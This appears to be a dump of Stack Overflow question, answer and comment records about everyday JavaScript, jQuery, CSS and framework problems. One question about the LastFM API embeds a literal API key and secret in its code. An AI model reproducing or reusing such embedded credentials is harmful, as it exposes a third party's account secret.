has body: This pattern you're using for Person seems really strange to me. You don't have to wrap everything in anonymous functions in Node.js. Have a look at this person.js function Person(name) { this.name = name || ""; this.friends = []; } Person.prototype.sayHello = function sayHello() { console.log("Hello, my name is %s and I have %d friends", this.name, this.friends.length); }; Person.prototype.addFriend = function addFriend(name) { this.friends.push(name); }; // factory Person.create = function create(name) { return new Person(name); }; module.exports = Person; Notice I grouped the factory within person.js as Person.create. This is a "class" method that won't conflict with your instance methods. You don't need a separate file for it. index.js // don't forget your `var` keyword var factory = require('./person').create; tyrion = factory("Tyrion"); tyrion.addFriend("Bronn"); tyrion.sayHello(); // Hello, my name is Tyrion and I have 1 friends daenerys = factory("Daenerys"); daenerys.addFriend("Illyrio"); daenerys.addFriend("Daario"); daenerys.addFriend("Barristan"); daenerys.sayHello(); // Hello, my name is Daenerys and I have 3 friends tyrion.sayHello(); // Hello, my name is Tyrion and I have 1 friends
has comment: http://stackoverflow.com/comment/40382003
has comment: http://stackoverflow.com/comment/40381942

http://stackoverflow.com/comment/40290465
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25764780
has text: rename your function arguments args

http://stackoverflow.com/comment/40407821
type: QuestionComment
comment on: http://stackoverflow.com/q/25820927
has text: It gets messy with SVG when you join different font sizes on same line. Basically you're re-writing MS word engine for SVG.
score: 1
type: Comment

http://stackoverflow.com/q/25747959
linked to: http://stackoverflow.com/q/14022565
has body: I am currently playing about with the LastFM API and trying to get a Recently Played Tracks list to update as I play tracks through Spotify and ITunes. I have got the initial code working through a combination of JS and Handlebars so that a static list of tracks is loaded in on page load which is current at the time of page load. However I want the list to update as I select a new track without refreshing the page. So I thought I could just use a setInterval function to call my original function every 5 seconds or so. However for some reason my setInterval function is only running once on page load. I know that this is a real simple error but I can't work out why? Help!! var clientname = {}; clientname.website = (function(){ var initPlugins = function(){ var setupLastFM = (function(){ /* Create a cache object */ var cache = new LastFMCache(), /* Create a LastFM object */ lastfm = new LastFM({ apiKey : '6db1989bd348bf91797bad802c6645d8', apiSecret : '155270f02728b1936ed7699e9f7b8de9', cache : cache }), attachTemplate = function(data, handlebarsTemplateID){ var template = Handlebars.compile(handlebarsTemplateID.html()); $(".container").append(template(data)); } /* Load some artist info. */ lastfm.user.getRecentTracks({user: 'jimmersjukebox'}, { success: function(data){ var trackData = data.recenttracks.track, tracks = $.map(trackData, function(track) { if(track['@attr']){ var isCurrentTrack = true; } return { currenttrack: isCurrentTrack, song: track.name, artist: track.artist['#text'] }; }); attachTemplate(tracks, $("#trackInfo")); }, error: function(code, message){ }}), intervalID = window.setInterval(console.log("test"), 1000); }()); } return{ init: function(){ initPlugins(); } }; })(); $(window).load(clientname.website.init);
tagged with: javascript
has answer: http://stackoverflow.com/a/25748031
score: 0
has answer: http://stackoverflow.com/a/25748029
tagged with: setinterval
answer count: 4
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/25748067
has title: setInterval function only running once
type: Question
has answer: http://stackoverflow.com/a/25748059

http://stackoverflow.com/comment/62426901
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/25831145
has text: I had a different problem.. require was not working (noconflict) So I did this: ```ace.config.set("workerPath", "worker");``` where worker is the path of my workers.. If you minified your project; do not forget to make them available in that path
score: 0

http://stackoverflow.com/comment/40464555
type: Comment
score: 0
comment on: http://stackoverflow.com/q/25859588
has text: why aren't you using `$('#results-submit-ticker').on('touchstart click',function(e)..` for your click event ?. added: also you might wanna use jQuery 'success' callback instead of 'complete'.you can use 'error' callback to report any errors.
type: QuestionComment

http://stackoverflow.com/a/25747642
type: Answer
has comment: http://stackoverflow.com/comment/40262696
has body: You could merge the arrays "obj.totalForMonths.totalformonths.monthData" &amp; "obj.totalForMonths.previousScheme.monthData" if they are of the same length: &lt;% var a = _.map(obj.totalForMonths.totalformonths.monthData, function(e){ return [e.month, e.amount, e.count] }); var b = _.map(obj.totalForMonths.previousScheme.monthData, function(e){ return [e.amount, e.count] }); rows = _.map(_.zip(a,b), function(e){ return _.flatten(e) }); %&gt; &lt;% _.each(rows, function(row) { %&gt; &lt;tr&gt; &lt;% _.each (row, function(column){ %&gt; &lt;td&gt;&lt;%= column %&gt;&lt;/td&gt; &lt;% }) %&gt; &lt;/tr&gt; &lt;% }) %&gt;
has comment: http://stackoverflow.com/comment/40277442
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/25746811
score: 0
answers question: http://stackoverflow.com/q/25746811
has comment: http://stackoverflow.com/comment/40268825

http://stackoverflow.com/comment/40378263
has text: i wish you would not use `>>>`. Seeing it first time this year. Lots of googling and still in dark. What's the purpose of it here?...
score: 0
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/25803416

http://stackoverflow.com/a/25799402
has comment: http://stackoverflow.com/comment/40379946
type: Answer
answers question: http://stackoverflow.com/q/25798681
has body: All i did was replace the order, i moved the .rotate to happen before the .toggle functions this would read the rotate first and subsequently do the toggle function thus setting the variable to 180 instead of waiting for the toggle to start, not allowing the variable to be set $(function() { $('li.state').prepend('&lt;img src="http://png-4.findicons.com/files/icons/2227/picol/32/arrow_sans_up_32.png" class="arrow"/&gt;'); }); $('.stateNames ul').hide(); var value = 0 $(".arrow").rotate({ bind : { click : function() { value += 180; $(this).rotate(value) } } }); $('.stateNames li').click(function(e) { e.stopPropagation(); $(this).find('ul').toggle(); });
score: 0

http://stackoverflow.com/q/25788360
has body: Can someone help me: I try to hide and show a row with two cells. The content is in cell two. It is working fine in IE, but in FF and Chrome it seems like all the content trys to fit in the Space of the first cell. Here is my code: &lt;table border="0" cellpadding="0" cellspacing="0" width="700"&gt; &lt;tr&gt; &lt;td&gt;&lt;/td&gt; &lt;td&gt;&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td width="50"&gt;&lt;/td&gt; &lt;td width="650"&gt; &lt;input type="radio" id="r1" name="r1" value="" class="small" onClick="Hide('div_test', this);"&gt; &lt;label for="r1"&gt;Skjul&lt;/label&gt;&amp;nbsp;&amp;nbsp; &lt;input type="radio" id="r2" name="r1" value="" class="small" onClick="Reveal('div_test', this);"&gt; &lt;label for="r2"&gt;Vis&lt;/label&gt;&amp;nbsp;&amp;nbsp; &lt;/td&gt; &lt;/tr&gt; &lt;tr id="div_test" style="display:none;"&gt; &lt;td width="50"&gt;&lt;/td&gt; &lt;td width="650"&gt;Dette er også en test&lt;/td&gt; &lt;/tr&gt; &lt;/table&gt; And the script: function Reveal (it, box) { var vis = (box.checked) ? "block" : "none"; document.getElementById(it).style.display = vis; } function Hide (it, box) { var vis = (box.checked) ? "none" : "none"; document.getElementById(it).style.display = vis; } What am I doing wrong here?
favorite count: 0
has comment: http://stackoverflow.com/comment/40333093
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40333445
upvote count: 1
tagged with: google-chrome
type: Question
has comment: http://stackoverflow.com/comment/40333405
tagged with: javascript
tagged with: http://stackoverflow.com/tag/html
answer count: 1
downvote count: 0
has answer: http://stackoverflow.com/a/25788538
has title: Show hide not working in chrome and firefox
score: 1

http://stackoverflow.com/comment/40203212
type: Comment
has text: If I understand it right, you would like to get the id from the html page elements? It can be done, but require a lot of html parsing with javascript which is not recommend. The most logical way is, for each document, create an Object that have all the detail of a document, then put all the Objects into an array and sort them based on one of the attribute. You can see it as a separation of UI layer and Application layer. In all terms: performance, scalability and maintenance, having the html visualize the data of Javascript is better.
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/25716576

http://stackoverflow.com/q/25773288
type: Question
answer count: 2
tagged with: javascript
tagged with: jquery
has answer: http://stackoverflow.com/a/25773885
downvote count: 4
tagged with: http://stackoverflow.com/tag/html
has comment: http://stackoverflow.com/comment/40306978
possible better answer: http://stackoverflow.com/a/25773564
favorite count: 0
has answer: http://stackoverflow.com/a/25773564
score: -3
accepted answer: http://stackoverflow.com/a/25773885
has comment: http://stackoverflow.com/comment/40306529
has body: This is hard to explain in words, but basically making a mock up app to demonstrate the functionality of a new UI we will be implementing soon. I'm and intern here, just started using this html, css, and jquery. There is a list of items in the background image that has to be able to scroll up and down within the background and hidden if it leaves the div. Any idea on how to do that? The only thing I could think of for clarifying what I need help on is including a picture. The picture shows the app (I took everything out just to be safe) and those horizontal lines are a list. Right now it's all one image, but I will make another one that should scroll up and down being visible only in the div. Any ideas on how to do that? Just to clarify, I'm not looking for a handout or for someone to write this code for me. I spent a lot of time on the web trying to find a way to do this, but I could never phrase the question in a way that would get me the results I was looking for. I am new to this and have a basic understanding of all the things that are possible with these tools. Just looking for someone to point me in the right direction, whether it be a method I could look into or a link to another site that can explain this topic in more depth. html: &lt;div id="background"&gt; &lt;div id="container"&gt;&lt;/div&gt; &lt;/div&gt; CSS: #container { overflow:auto; left:100px; top:100px; width:200px; height:300px; background-image:url('images/scroll.png'); }
upvote count: 1
tagged with: css
has title: Making a static web app in html5 and need an image to scroll within the background image
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40307633

http://stackoverflow.com/q/25823784
has answer: http://stackoverflow.com/a/25823970
has comment: http://stackoverflow.com/comment/40398612
type: AnsweredQuestion
score: 0
has title: If an if block returns in JavaScript, is there a need for else?
has comment: http://stackoverflow.com/comment/40398553
type: Question
answer count: 2
tagged with: performance
tagged with: if-statement
has comment: http://stackoverflow.com/comment/40398570
tagged with: javascript
has answer: http://stackoverflow.com/a/25823792
linked to: http://stackoverflow.com/q/17429893
has comment: http://stackoverflow.com/comment/40398564
has comment: http://stackoverflow.com/comment/40398568
has comment: http://stackoverflow.com/comment/40398547
linked to: http://stackoverflow.com/q/4139496
has body: I'm currently trying to squeeze every last millisecond from a JavaScript program that is fired on an event listener at a rate of 10x per second. I'm trying to remove all cruft. When an if block's sole purpose is to return something if true, is there any advantage to following with else if or else, or am I right in thinking that I forgo else. eg. // with else function withElse () { if (foo) { return foo; } else if (bar) { return bar; } else { return baz; } } // without else function withoutElse () { if (foo) return foo; if (bar) return bar; return baz; }
possible better answer: http://stackoverflow.com/a/25823970
accepted answer: http://stackoverflow.com/a/25823792
linked to: http://stackoverflow.com/q/1820839

http://stackoverflow.com/q/25760804
has title: Object loses css class on page leave
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40283668
answer count: 0
type: Question
has comment: http://stackoverflow.com/comment/40283561
has body: I have a page with a menu the folds out. When the user clicks a menu link and browser starts to load a new page the old page loses its body class move-left. Using inspector I can see that it clears the body class before re-rendering the DOM. Can this behavior be prevented? $( "#foo" ).click(function() { $( "body" ).toggleClass( "move-left" ); }); Where foo can be a menu button etc.
tagged with: javascript
tagged with: jquery
score: 0

http://stackoverflow.com/comment/40303101
comment on: http://stackoverflow.com/q/25771150
type: Comment
type: QuestionComment
has text: Thanks - I've tried that. Alert seems to be work fine but bootstrap modal will not.
score: 0

http://stackoverflow.com/a/25722301
has comment: http://stackoverflow.com/comment/40213281
type: Answer
has comment: http://stackoverflow.com/comment/40212744
accepted answer of: http://stackoverflow.com/q/25722182
has body: What you're describing is a transpiler, which is a kind of compiler, yes. You would certainly not create this with regex replacements though, as it's not always simply a matter of putting some brackets somewhere or adding a keyword. You would parse the Ruby source code into something like an AST, which expresses what the code is meant to do. You'd then compile this meaning back into Javascript code, which may or may not produce code which looks very different from the original Ruby source. That's essentially what a compiler does; typically the target language it compiles to is a lower-level language like machine code or byte code, but it may as well be another high level language like Javascript.
answers question: http://stackoverflow.com/q/25722182
downvote count: 0
has comment: http://stackoverflow.com/comment/40213371
has comment: http://stackoverflow.com/comment/40212838
has comment: http://stackoverflow.com/comment/40213314
has comment: http://stackoverflow.com/comment/40213330
score: 2
has comment: http://stackoverflow.com/comment/40213085
has comment: http://stackoverflow.com/comment/40213370
has comment: http://stackoverflow.com/comment/40213437
upvote count: 2
has comment: http://stackoverflow.com/comment/40213235
has comment: http://stackoverflow.com/comment/40213293
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/40213213

http://stackoverflow.com/q/25763023
favorite count: 0
has body: I'd like an example to how a Signalr javascript client can connect with a basic authentication ? I didn't find any example about a javascript client. In the siganlR server : var listener = (HttpListener)app.Properties["System.Net.HttpListener"]; listener.AuthenticationSchemes = AuthenticationSchemes.Basic; var authoriser = new Authoriser(); GlobalHost.HubPipeline.AddModule(new AuthorizeModule(authorize, authorize)); And in the javascript client : $.connection.hub.url = "http://localhost/signalr"; var hub = $.connection.signalr; but with this "include" &lt;script src="http://localhost/signalr/hubs"&gt;&lt;/script&gt; The Server send me a Prompt to login password But I'd like to send my own login password with an &lt; input > for example... Thanks !
type: UnansweredQuestion
answer count: 0
upvote count: 1
tagged with: signalr
type: Question
has title: SignalR Basic Authentication with a javascript client
score: 1
tagged with: asp-classic
downvote count: 0
tagged with: javascript

http://stackoverflow.com/comment/40462745
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/25858552
has text: Hmm...it's outputting the string "user". Not sure if this helps, but I have my scope set to true. I'm getting the user object from the controller. Also, I don't have a template for the directive. I do have a controller for it that I'm using to execute functions.
score: 0

http://stackoverflow.com/comment/40243810
comment on: http://stackoverflow.com/a/25720817
has text: I've sort of fixed my problem. Thank you for the answer.
score: 0
type: AnswerComment
type: Comment

http://stackoverflow.com/comment/40412883
type: Comment
comment on: http://stackoverflow.com/a/25830535
has text: Great to see that ;) enjoy amazing `ui-router`
score: 0
type: AnswerComment

http://stackoverflow.com/a/25768650
answers question: http://stackoverflow.com/q/25768413
type: AcceptedAnswer
downvote count: 0
type: Answer
score: 2
has body: If you want to convert it to an array you can use the built-in JSON object to parse it: JSON.parse(yourString). But if you want to easily access values by ID, you will have to actually convert it to an object: var originalData = JSON.parse(yourString); var parsedData = {}; for (var i = 0, l = originalData.length; i &lt; l; i++) { parsedData[originalData[i].id] = originalData[i].width; } // now you can easily access the wanted widths var acbPreviewCellWidth = parsedData['acbPreviewCellWidth'];
accepted answer of: http://stackoverflow.com/q/25768413
upvote count: 2

http://stackoverflow.com/comment/40247662
comment on: http://stackoverflow.com/a/25740728
type: Comment
has text: That doesn't answer the question.
score: 0
type: AnswerComment

http://stackoverflow.com/a/25784685
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/25748419
type: Answer
downvote count: 0
has body: Here is how you can make synchronizing your infinite scroll. I mean blocking the loadMore until the first call (getAll is finished). .controller('HomeCtrl', function($scope, Model, $q) { var nextBatch; //holds the url of the next batch $scope.model = []; //used in ng-repeat var defer = $q.defer(); var promise = defer.promise; //loads an array of 5 objects Model.getAll().then(function(model){ nextBatch = model.meta.next; //for infinite scrolling $scope.model = model.objects; defer.resolve(model); return defer.promise; }); $scope.loadMoreData = function() { promise.then(function(result){ if(nextBatch !== "END"){ Model.getMore(nextBatch).then(function(favours){ angular.forEach(favours.objects, function(item){ $scope.model.push(item); }); nextBatch = favours.meta.next; }); } }); }; }) http://plnkr.co/edit/qohKNUd48czYKASNqCVP
score: 1
accepted answer of: http://stackoverflow.com/q/25748419
upvote count: 1

http://stackoverflow.com/comment/85701215
score: 0
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/29342909
has text: Could you explain your code a little bit? Is preserving IEEE 754 representation possible without losing data? Converting to unsigned ints this way is legit as well? Is it possible to achieve the same thing using [DataView](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/DataView)'s setFloat32 - getInt16? @K3N

http://stackoverflow.com/a/25771566
has body: Use jquery DEMO: Change top $('#a').on('click', function() { $('body').css('background-image', 'url(/img/roztoky.png)'); }); and to $('#b').on('click', function() { $('#frame').css('background-image', 'url(img/roztoky.png)'); }); or with pure javascript DEMO var button_a = document.querySelector("#a"), button_b = document.querySelector("#b"), myframe = document.querySelector("#frame"); button_a.addEventListener("click",function(e){ document.body.style["background-image"] = "url(https://c2.staticflickr.com/6/5530/11442019345_d50b753156.jpg)"; },false); button_b.addEventListener("click",function(e){ myframe.style.style["background-image"] = "url(https://c2.staticflickr.com/4/3702/11442187163_fdd370b657_n.jpg)"; },false); HTML:: body background image change frame background CSS:: #frame{ width:100%; height:320px; } a{ padding: 6px 12px; background:#ccc; border-radius:6px; cursor:pointer; color:white; }
type: Answer
answers question: http://stackoverflow.com/q/25771401
accepted answer of: http://stackoverflow.com/q/25771401
has comment: http://stackoverflow.com/comment/40303239
type: AcceptedAnswer
score: 0

http://stackoverflow.com/comment/45783939
type: Comment
has text: Why would it cause a double download?
type: AnswerComment
comment on: http://stackoverflow.com/a/25835311
score: 0

http://stackoverflow.com/a/25791070
type: Answer
score: 2
downvote count: 0
has comment: http://stackoverflow.com/comment/40338942
has comment: http://stackoverflow.com/comment/40338820
has body: You'll need to iterate over the object's properties recursively until you find the key you're looking for: function findKey(object, key){ if (object.hasOwnProperty(key)) { // do stuff console.log('found'); return true; } for (var property in object) { if (typeof object[property]=='object') { return findKey(object[property], key); } } } findKey({'bop':{'foo':'bar'}}, 'foo');
upvote count: 2
has comment: http://stackoverflow.com/comment/40338891
answers question: http://stackoverflow.com/q/25790986

http://stackoverflow.com/q/25778043
has answer: http://stackoverflow.com/a/25794646
type: UnansweredQuestion
type: Question
has body: I'm at my wit's end trying to accomplish what should be very straightforward behavior: I have an Ember table component (from Addepar), I would like to have buttons inside that table that trigger a modal dialog. Since I'm new to Ember, I started with the Ember table starter kit jsbin available here: http://jsbin.com/fasudiki/9/edit I added a custom cell view so I can use my own template: columns: function() { var firstColumn; firstColumn = Ember.Table.ColumnDefinition.create({ columnWidth: 350, textAlign: 'text-align-right', headerCellName: 'Column 1', tableCellViewClass: 'App.EmberTableMyCustomCell', getCellContent: function(row) { return row.get('myRandomValue').toFixed(2); } }); return [firstColumn]; }.property(), with App.EmberTableMyCustomCell = Ember.Table.TableCell.extend({ templateName: 'custom-table-cell', classNames: 'custom-table-cell' }); and I then tried following the official Ember guide for modal dialogs: http://emberjs.com/guides/cookbook/user_interface_and_interaction/using_modal_dialogs/ In Ember terminology, I'd like to be able to trigger an action on the Index route from within the ember-table component. I tried triggering the action directly from the template which didn't work: Open modal I then tried what is suggested in the "Sending Actions From Components To Your Application" guide: http://emberjs.com/guides/components/sending-actions-from-components-to-your-application/ by creating an 'actions' map on the App.EmberTableMyCustomCell view and then using both this.send('openModal', 'modal'); and this.sendAction('openModal', 'modal'); Again, no success. I then tried what's recommended in this SO question: Ember component sendAction() not working by setting the action name in a custom attribute on my ember-table and using it at a parameter for triggerAction(...) using: {{table-component hasFooter=false columnsBinding="columns" contentBinding="content" myCustomActionName="openModal" }} and actions : { myCellAction : function () { this.triggerAction…
upvote count: 4
tagged with: ember-table
tagged with: modal-dialog
linked to: http://stackoverflow.com/q/20108386
downvote count: 0
answer count: 1
tagged with: javascript
score: 4
favorite count: 0
tagged with: ember.js
has title: Open modal dialog from within ember-table cell

http://stackoverflow.com/comment/40274436
type: AnswerComment
comment on: http://stackoverflow.com/a/25733900
score: 0
type: Comment
has text: This worked for if one of the values is above 10, but can the chart always be 1 - 300 even if all of the points are 300?

http://stackoverflow.com/comment/40286114
comment on: http://stackoverflow.com/a/25759828
score: 0
type: AnswerComment
has text: As this is the accepted answer, I suggest (for better practice) provide a modification to OP script to avoid cloning the `id attr`. Something like this for example http://stackoverflow.com/questions/10126395/how-to-jquery-clone-and-change-id or add a note warning about it.
type: Comment

reference
tags question: http://stackoverflow.com/q/25786328
type: Tag
tag name: reference

http://stackoverflow.com/comment/40457843
type: Comment
comment on: http://stackoverflow.com/q/25854017
score: 0
type: QuestionComment
has text: A link to your project would be helpful but for fancybox to work, you need to add `rel="example_group"` to your links like this ` `.

http://stackoverflow.com/comment/40317775
score: 0
type: AnswerComment
has text: thanks this also works.. but i use bellow one because i need some modification thanks.
type: Comment
comment on: http://stackoverflow.com/a/25763531

http://stackoverflow.com/comment/40390772
comment on: http://stackoverflow.com/a/25819214
score: 0
type: AnswerComment
type: Comment
has text: wow! Thank you! It works, well I am just a new guy in html and js, need a lot more work, Thanks again!

http://stackoverflow.com/comment/40240122
score: 0
has text: ask another question
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25717467

http://stackoverflow.com/comment/40470584
comment on: http://stackoverflow.com/a/25863173
score: 0
type: Comment
has text: Json is not recognized by the view.
type: AnswerComment

http://stackoverflow.com/q/25773801
has comment: http://stackoverflow.com/comment/40553410
has comment: http://stackoverflow.com/comment/40309242
has comment: http://stackoverflow.com/comment/40552726
has body: I'm trying to understand how to build a single-page website layout, made of a series of pages, each occupying the whole viewport: height: 100%; width: 100%; For example, I really like layouts like the one in this bootstrap template: http://startbootstrap.com/templates/freelancer/ Actually, the problem with it, is the height of each page: while it's acceptable for most resolutions, I wanna be sure that each page is exactly the same width and height the viewport has. I don't mind using javascript, in fact, I suspect that's impossible to achieve without some kind of JS (maybe "listening" to resize events, too) adjusting page-divs height. Obviously, an only-css solution would be better. Suggestions?
type: Question
has comment: http://stackoverflow.com/comment/40307559
has comment: http://stackoverflow.com/comment/40307531
tagged with: responsive-design
has title: Responsive height for single page website
has comment: http://stackoverflow.com/comment/40552626
answer count: 2
has answer: http://stackoverflow.com/a/25909351
has comment: http://stackoverflow.com/comment/40309221
has comment: http://stackoverflow.com/comment/40309474
downvote count: 0
tagged with: javascript
has comment: http://stackoverflow.com/comment/40307538
possible better answer: http://stackoverflow.com/a/26145081
favorite count: 0
has answer: http://stackoverflow.com/a/26145081
has comment: http://stackoverflow.com/comment/40309743
has comment: http://stackoverflow.com/comment/40307430
has comment: http://stackoverflow.com/comment/40361419
tagged with: http://stackoverflow.com/tag/html
tagged with: css
has comment: http://stackoverflow.com/comment/40309790
accepted answer: http://stackoverflow.com/a/25909351
score: 2
type: AnsweredQuestion
upvote count: 2
tagged with: twitter-bootstrap

http://stackoverflow.com/a/25771426
score: 1
upvote count: 1
has body: For starters, this doesn't identify an element in your DOM: $('#five') You don't have an element with an id of "five". Instead, you're looking for this: $('input[name="five"]') (Or, conversely, you could give an id attribute to your elements.) Aside from that, I'm not aware of any onselect event for an option element. Why not respond to the change event of the select instead (and de-couple from the markup a bit while you're at it)?: $('select').on('change', function () { if ($(this).val() === 'option3.com') { $('input[name="five"]').hide(); } else { $('input[name="five"]').show(); } });
type: Answer
answers question: http://stackoverflow.com/q/25771293
downvote count: 0

http://stackoverflow.com/comment/40380472
type: Comment
type: QuestionComment
has text: *How* do you want to access it? Create a link in HTML? Write a shell script? Btw, I would generally recommend *never* to use non-ASCII characters in file names. Doesn't have any advantages, and only causes a lot of trouble.
comment on: http://stackoverflow.com/q/25813869
score: 0

http://stackoverflow.com/comment/40219691
has text: I took your code, that was more simpler than mine and edited a bit! It does the exact same! Please look at problem :-)
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25714800

http://stackoverflow.com/q/25738420
has comment: http://stackoverflow.com/comment/40244723
downvote count: 0
answer count: 1
tagged with: javascript
has comment: http://stackoverflow.com/comment/40244591
favorite count: 0
has comment: http://stackoverflow.com/comment/40243874
has answer: http://stackoverflow.com/a/25738611
has comment: http://stackoverflow.com/comment/40244041
has body: I've got a short search form that a user fills out. There will be multiple search queries that will go into MongoDB: The form creates a variable called searchParams that may look like this: var searchParams = { city: "Springfield", bedrooms: 3, bathrooms: 2 }; I then have a function that takes the searchParams as an argument and queries Mongo using it: var searchListings = function(searchParams){ return db.MyListings.find(searchParams).fetch(); } db.MyListings.find( {city: "Springfield", bedrooms: 3, bathrooms: 2} ).fetch(); This is all well and good for a complete searchParams object, but if the user doesn't fill out parts of the form and the object turns out to be this: var searchParams = { city: "", bedrooms: NaN, bathrooms: 3 }; The query fails. It tries to literally search for a property with a city of "" and a bedroom of NaN. What I want the query to be in the case of this object is just: db.MyListings.find( {bathrooms: 3} ).fetch(); I can go through each key one by one and check for NaN conditions and "" conditions and somehow remove the key from the searchParams object (I guess I'm like sterilizing the object?) but I was wondering if there was a more intelligent way to go about taking out the keys with invalid values? I've got underscore installed. UPDATE: This project is currently using Meteor 0.9.1. Meteor uses Underscore 1.0.0, which is why the below did not work: The following doesn't seem to be working: searchParams = { bathrooms: 3, bedrooms: NaN, city: "", exteriorSize: NaN, interiorSize: NaN, price: 0 }; console.log(searchParams); newSearchParams = _.omit(searchParams, function(val) { return !val; }); console.log(newSearchParams); // exactly the same as searchParams And if I do this: searchParams = { bathrooms: 3, bedrooms: NaN, city: "", exteriorSize: NaN, interiorSize: NaN, price: 0 }; console.log(searchParams); newSearchParams = _.pick(searchParams, function(val) { return !!val; }); console.log(newSearchParams); // blank object
has comment: http://stackoverflow.com/comment/40244485
score: 2
type: AnsweredQuestion
upvote count: 2
has title: Best way to take out keys with invalid (NaN, blank, etc) values from an object?
type: Question
accepted answer: http://stackoverflow.com/a/25738611
has comment: http://stackoverflow.com/comment/40244658
has comment: http://stackoverflow.com/comment/40244628
tagged with: underscore.js

http://stackoverflow.com/a/33979292
type: Answer
answers question: http://stackoverflow.com/q/25832856
has body: I've had some luck with turning a type="text" field into a type="password" field and back again very quickly. I noticed that holding a key down in a password field doesn't trigger the accent popup, and wanted to take advantage of this behavior. This trick doesn't work 100% of the time, and it's an ugly hack -- but its better than nothing. Below is the full code I'm using. I run this on the input field's first focus event. this.disableAccentPopup = function(_input, callback){ var last_key_down = false; // last key pressed var last_key_count = 0; // number of keydown events for last key pressed var keys_down = {}; // all keys being held down var input = _input.cloneNode(true); // We will swap this with the original input on first focus input.type = "password"; // Password fields don't suffer from accent UI input.value = ''; // Empty this so we don't see the password bullets input.focus(); // Right before focus... _input.addEventListener("focus", function(e){ // This setTimeout is needed so we can get the proper selectionStart and selectionEnd values setTimeout(function(){ var t = _input.value; var s = _input.selectionStart; var e = _input.selectionEnd; _input.parentNode.replaceChild(input, _input); input.focus(); // This setTimeout is needed to set the input type w/o breaking the input's behavior setTimeout(function(){ input.value = t; input.type = 'input'; input.setSelectionRange(s, e); if (callback) { setTimeout(function(){ callback(input); }, 0); } }, 0); }, 0); }); input.addEventListener("keydown", function(e){ keys_down[util.keyIdentifierToKeyCode(e)] = true; if (!e.metaKey &amp;&amp; e.keyIdentifier.substr(0,2) == "U+") { if (last_key_down &amp;&amp; last_key_count &gt;= 1) { // if this is not the first keydown event for this char, // we can safely set the type to input input.type = 'input'; if (last_key_down == util.keyIdentifierToKeyCode(e)) { e.preventDefault(); } else { last_key_count = 0; } } last_key_down = util.keyIdentifierToKeyCode(e); last_key_count++;…
score: 0

offset
tags question: http://stackoverflow.com/q/25824565
type: Tag
tags question: http://stackoverflow.com/q/25750869
tag name: offset

http://stackoverflow.com/comment/40479349
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25867928
has text: @OmarEnricoPolo..yes, I get some audio tags with api..such as - streaming duration, streaming link. But i want to know the exact time duration of the song listen by the user.
score: 0

http://stackoverflow.com/comment/40271225
has text: @LcSalazar I need to change content of some functions. Would be nice to work with it as with strings.
comment on: http://stackoverflow.com/q/25753681
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/a/25869987
score: -1
has comment: http://stackoverflow.com/comment/40491781
downvote count: 1
has comment: http://stackoverflow.com/comment/40482984
has comment: http://stackoverflow.com/comment/40484518
has body: If you want to make your code work, you would need to add a reference to the opposite image in your code and set that image to the unselected version. If I were to do this, it would be pure CSS with a sprite and radio buttons. HTML: &lt;input type="radio" name="vote1" class="vote" id="down1" value="down" /&gt;&lt;label for="down1"&gt;&lt;/label&gt; &lt;input type="radio" name="vote1" class="vote" id="up1" value="up" /&gt;&lt;label for="up1"&gt;&lt;/label&gt; &lt;hr/&gt; &lt;input type="radio" name="vote1" class="vote" id="down2" value="down" /&gt;&lt;label for="down2"&gt;&lt;/label&gt; &lt;input type="radio" name="vote1" class="vote" id="up2" value="up" /&gt;&lt;label for="up2"&gt;&lt;/label&gt; CSS: .vote { display: none; } .vote + label { display: inline-block; width:55px; height:65px; background-image: url(https://i.sstatic.net/UauAa.png); } .vote[value="up"] + label { background-position: 55px 66px; } .vote[value="up"]:checked + label { background-position: 55px 0px; } .vote[value="down"] + label { background-position: 0px 66px; } .vote[value="down"]:checked + label { background-position: 0px 0px; } Image: Imgur Fiddle: http://jsfiddle.net/coL4LhtL/
has comment: http://stackoverflow.com/comment/40483768
upvote count: 0
answers question: http://stackoverflow.com/q/25868132
type: Answer

http://stackoverflow.com/q/25845126
type: Question
answer count: 2
score: -2
tagged with: javascript
tagged with: jquery
has title: jQuery change event alternative
has comment: http://stackoverflow.com/comment/40437762
tagged with: jquery-events
has answer: http://stackoverflow.com/a/25845156
favorite count: 0
has comment: http://stackoverflow.com/comment/40437628
has comment: http://stackoverflow.com/comment/40437714
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40437687
upvote count: 1
has comment: http://stackoverflow.com/comment/40437612
has comment: http://stackoverflow.com/comment/40437723
has answer: http://stackoverflow.com/a/25845166
has body: it would be great if anyone could suggest an alternative to 'change' event in jQuery? I tried with focusout but that only works after I click on the page and the targeted event is triggered. What I want is when I enter a text in the field, it should work similar to how change works.
downvote count: 3

http://stackoverflow.com/q/25769776
answer count: 1
tagged with: jquery
type: UnansweredQuestion
tagged with: css
tagged with: wordpress
type: Question
has comment: http://stackoverflow.com/comment/40299796
has comment: http://stackoverflow.com/comment/40299898
has title: resposive layout of wordpress template
has body: Absolutely pulling my hair out on this one as I don't know much about jquery. There seems to be no black and white solution offered anywhere. Basically, I am trying to create a fluid and responsive portfolio. The width of the column is set to 390px but I want it to be smaller (320px) for mobile devises with screens &lt; 480px. Could anyone help me with this one please Here is the code (function($) { // $() will work as an alias for jQuery() inside of this function var ww = document.body.clientWidth; $(window).load(function(){ // Masonry.js var $container = $('#posts'); $container.imagesLoaded(function(){ $container.masonry({ itemSelector: '.box', columnWidth: 390, isFitWidth: true }); }); });
tagged with: javascript
score: 0
has answer: http://stackoverflow.com/a/25769881

http://stackoverflow.com/a/25790936
